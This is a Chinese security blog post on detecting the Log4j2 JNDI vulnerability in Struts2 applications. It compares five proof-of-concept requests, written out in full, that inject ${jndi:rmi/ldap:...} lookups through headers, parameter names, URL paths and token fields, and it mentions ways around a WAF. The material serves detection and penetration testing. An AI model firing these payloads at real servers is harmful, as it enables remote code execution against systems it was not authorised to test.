Part1 前言
Log4j2漏洞出现有大半年的时间了，这个核弹级别的漏洞危害很大，但是这个漏洞检测起来却很麻烦，因为黑盒测试无法预判网站哪个应用功能在后台调用了log4j2记录日志功能。目前通用的做法就是使用burpsuite插件进行被动扫描，原理就是把所有与用户交互参数都用各种log4j2检测payload测试一遍，然后观察DNSlog中有没有访问记录。这个漏洞检测方法和SQL注入、XSS漏洞有点像，常规方法很难完全发现漏洞，有时候就连研发人员自己也搞不清楚哪些应用功能点调用了log4j2，所以这个漏洞在相当长的时间里会一直存在。
在这里面要特别说明一下，burpsuite的被动插件扫描的方式，并不能完全发现Log4j2漏洞，因为有的log4j2漏洞需要特定的条件才能触发，有时候需要手工构造一个特殊URL路径，有时候需要发送一些框架特有的参数、消息头等等，有的框架如Struts2、Spring等需要构造特殊的数据包才能触发log4j2漏洞。网上有很多Struts2下log4j2漏洞检测专项方法，但是貌似并没有引起大家的重视。我大概有4、5年没看过Struts2框架的代码了，但毕竟对Struts2漏洞有感情了，所以就各种搜索把网上的各种检测方式汇总起来，搭建环境，跟踪代码，对各种检测方法进行对比，最后给出2个可靠好用的检测Struts2框架下Log4j2漏洞的方法。
Part2 技术研究过程
- Struts2与log4j2日志级别配置
如下图所示，这是log4j2组件中关于日志级别的定义。日志输出级别共有8个，按照优先级从低到高为：All < Trace < Debug < Info < Warn < Error < Fatal < OFF。
接下来还要重点关注Struts2框架中log4j2.xml文件的配置，主要看<Logger name="org.apache.struts2" level="info"/>这部分内容，因为几乎所有的Struts2框架中的log4j2代码执行漏洞，都在org.apache.struts2路径下，观察其配置的是info级别、还是warn级别，还是debug级别。这个级别对应的数字值越高，则越有可能触发log4j2漏洞。如果Logger 配置的是info级别，由于info优先级比debug高，所以debug级别的log4j2的各种POC都没法执行，这也是为什么同样的log4j2的POC，有的网友本地环境能测试成功，有的不能成功，这是因为对于org.apache.struts2路径日志级别配置有所不同。
- Struts2拦截器简介
要想理解Struts2框架下log4j2漏洞检测方法，首先需要了解一下Struts2的拦截器。当时Log4j2漏洞刚爆出的时候，我就感觉Struts2的拦截器中应该会有log4j2漏洞，因为所有的用户请求都会经过拦截器去处理，拦截器栈上那么多拦截器实现，其中肯定有各种log输出功能，所以应该会有漏洞。
1. 请求先到达Filter中央控制器；2. 然后为Action创建代理类；3. 将各个服务存放在拦截器中，执行完拦截器后再去执行action类，action类调用service，再调用dao；4. 得到结果字符串，创建result对象；5. 转向相应的视图。
归纳为一点：Struts2几乎所有的请求，都会经过拦截器栈的处理，拦截器栈上有各种各样的拦截器，而有的拦截器调用了log4j2输出日志功能，我们只需构造符合要求的http请求，就会触发Log4j2漏洞。接下来看看网上收集到的5个漏洞检测poc，挨个看一下，从中挑选比较好的检测POC，以便在日常工作中事半功倍。
- 方法1：静态文件If-Modified-Since头
此检测payload摘自p1ay2win 天玄安全实验室原创，检测payload如下：
curl -vv -H "If-Modified-Since: \${jndi:rmi:\${::-/}/localhost:8888/Calc}" http://192.168.217.1:8080/helloworld_war/struts/utils.js
检测原理：warn级别，当用户访问Struts2框架的静态文件时，如果请求头If-Modified-Since的值为非Date型，将会触发log.warn()，导致log4j2代码执行漏洞。
优缺点：这是我个人比较推荐的一种检测方法。首先，它的日志级别是Log.warn()，比log.debug()写法优先级要高，因此成功率更大一些。其次/struts/utils.js 这个文件是多数Struts2框架内置的静态文件。但缺点是，不是所有版本的struts2 jar包中都存在这个静态文件，很多低版本的jar包中并不存在，所以这个方法需要总结出能够涵盖多个不同版本的Struts2框架的静态文件路径才行。
如下图所示，2.0.11版本jar包中不存在utils.js文件：
如下图所示，而2.5.13版本的jar包中存在utils.js这个文件：
- 方法2：检查请求参数长度
此检测payload摘自p1ay2win 天玄安全实验室原创，检测payload如下：
http://localhost:8080/helloworld_war/hello.action?$%7Bjndi:rmi://127.0.0.1:8888/Calc%7Daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=123
检测原理：debug级别，访问一个存在的Struts2框架的action地址，Struts2框架会检查请求参数名的长度，若长度超过默认的100个字符，请求参数名则会输出到debug日志中，触发log4j2漏洞。
优缺点：这个方法测试效果不错，更重要的是同时支持GET请求和POST请求，在将来遇到WAF设备拦截时，可以用更多的手段去绕过waf设备拦截。缺点是日志级别的优先级是debug。
- 方法3：检查请求路径触发
此检测payload摘自p1ay2win 天玄安全实验室原创，检测payload如下：
http://localhost:8080/helloworld_war/$%7Bjndi:rmi:$%7B::-/%7D/127.0.0.1:8888/Calc%7D/
本地测试怎么都测试不成功，发现需要将rmi替换成ldap
http://localhost:8080/helloworld_war/$%7Bjndi:ldap:$%7B::-/%7D/127.0.0.1:8888/Calc%7D/
检测原理：warn级别，Struts2框架下URL路径的action名如果不在[a-zA-Z0-9._!/\-]范围以内，将会触发 LOG.warn()，导致log4j2代码执行漏洞。
优缺点：第一眼看到上述POC，就感觉检测payload中那几个反斜杠肯定会导致POC不能正常执行。但是文章作者给出了一个很好的解决方法：“在请求路径中两个相邻的/会被转换为一个/，将其中一个/替换为${::-/}可防止被转换”。缺点是有的版本Struts2框架中DefaultActionMapper类中没有cleanupActionName方法，导致此流程的log4j2不能用。
- 方法4：checkbox 拦截器
此检测方法摘自安全客saound的检测方法，检测payload如下：
http://127.0.0.1:8080/Struts2WebAppDemo/index.action?__checkbox_${jndi:ldap://127.0.0.1:1099/exp}=a&__checkbox_${jndi:ldap://127.0.0.1:1099/exp}=b
检测原理：debug级别，这个检测方法，基于struts2自带的拦截器，当请求参数名以 __checkbox_ 开始并且重复定义时，会进入log4j2记录分支，执行LOG.debug()执行，故构造请求如下：
优缺点：方法挺好的，唯一的缺点就是日志级别是debug级别的。
2.3.14.2版本代码如下：
2.5.12版本代码如下：
- 方法5：struts.token.name
此payload收集于网络，原创作者不知道是谁，检测payload如下：
http://127.0.0.1:8080/struts2-showcase/token/transfer4.action -d struts.token.name='${jndi:rmi://127.0 .0.1:1099/ylbtsl}'
优缺点：debug级别，这个payload看起来不错，构造简单，编写脚本去扫描也比较省事。通过struts.token.name可知，我猜触发点应该是在token拦截器中。我本地经过测试，大致判断应该是log.debug级别的，这里就不详细分析了。
综上所述，最终通过对比这5个检测payload，个人结论是方法1：获取静态文件If-Modified-Since头”这种方法成功率更高一些，其次是方法3：检测请求路径触发。目前放出的检测POC，也仅有这两个payload是WARN级别的，所以它是成功率较高的检测POC。缺点是，对于不了解Struts2框架的新手，定位静态文件是个麻烦事，写扫描规则也麻烦。
- 编写检测工具融合payload
为了避免人为记录DNSLog的嫌疑，我没有在工具中使用DNSLog的api接口，大家需要手工设置自己的log4j2 DNSlog地址。注意，我写的工具这里的“Log4j2 DNSLog地址：”这个检测功能，只针对Struts2框架下的log4j2检测功能，并不通用所有的log4j2漏洞检测。
Part3 总结
1. 网上的针对Struts2框架下log4j2漏洞的检测POC，触发点目前看来就是2种，log.warn()或者是log.debug()，那么优先选择触发点在log.warn()的检测payload。
2. 了解一下log4j2漏洞的原理，可以避免在实战中做很多的无用功。使用“静态文件If-Modified-Since头”这种检测方法时，要注意Struts2框架自带静态文件的正确URL位置，不要生搬硬套检测POC。
参考链接：
https://www.anquanke.com/post/id/262852
https://mp.weixin.qq.com/s/19oIId_Ax2nxJ00k6vFhDg
https://blog.csdn.net/weixin_39604280/article/details/111104622
公众号专注于网络安全技术分享，包括APT事件分析、红队攻防、蓝队分析、渗透测试、代码审计等，每周一篇，99%原创，敬请关注。
Contact me: 0day123abc#gmail.com(replace # with @)